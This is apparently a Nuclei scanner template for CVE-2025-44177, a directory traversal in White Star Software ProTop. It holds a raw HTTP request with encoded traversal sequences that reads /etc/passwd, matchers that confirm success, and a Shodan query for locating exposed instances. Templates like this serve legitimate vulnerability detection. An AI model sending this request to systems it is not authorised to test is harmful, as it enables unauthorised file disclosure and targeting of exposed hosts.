id: CVE-2025-44177

info:
  name: White Star Software ProTop - Directory Traversal
  author: s-cu-bot
  severity: high
  description: |
    A directory traversal vulnerability was discovered in White Star Software Protop version 4.4.2-2024-11-27, specifically in the /pt3upd/ endpoint. An unauthenticated attacker can remotely read arbitrary files on the underlying OS using encoded traversal sequences.
  remediation: |
    Upgrade White Star Software ProTop to a version after v4.4.2-2024-11-27.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-44177
    - https://client.protop.co.za/
    - https://wss.com/
    - https://gist.github.com/stSLAYER/4a2ecfbab1215a0be0dde59c4ac0122d
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 8.2
    cve-id: CVE-2025-44177
    cwe-id: CWE-22
    cpe: cpe:2.3:a:wss:protop:4.4.2-2024-11-27:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: white-star-software
    product: protop
    shodan-query: html:"<title>ProTop"
  tags: cve,cve2025,lfi,traversal,protop,whitestar

http:
  - raw:
      - |
        GET /pt3upd/..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: header
        words:
          - 'application/octet-stream'
          - 'filename="passwd"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100891757873c747ca4d979063fba70bcc83f96cd5db7380e8ad70558b62fe07cc60221008ef6a64cc26d05c02e3951da2a3b02f01a630f4361dcfdc3ddfb24b324dbeb99:922c64590222798bb761d5b6d8e72950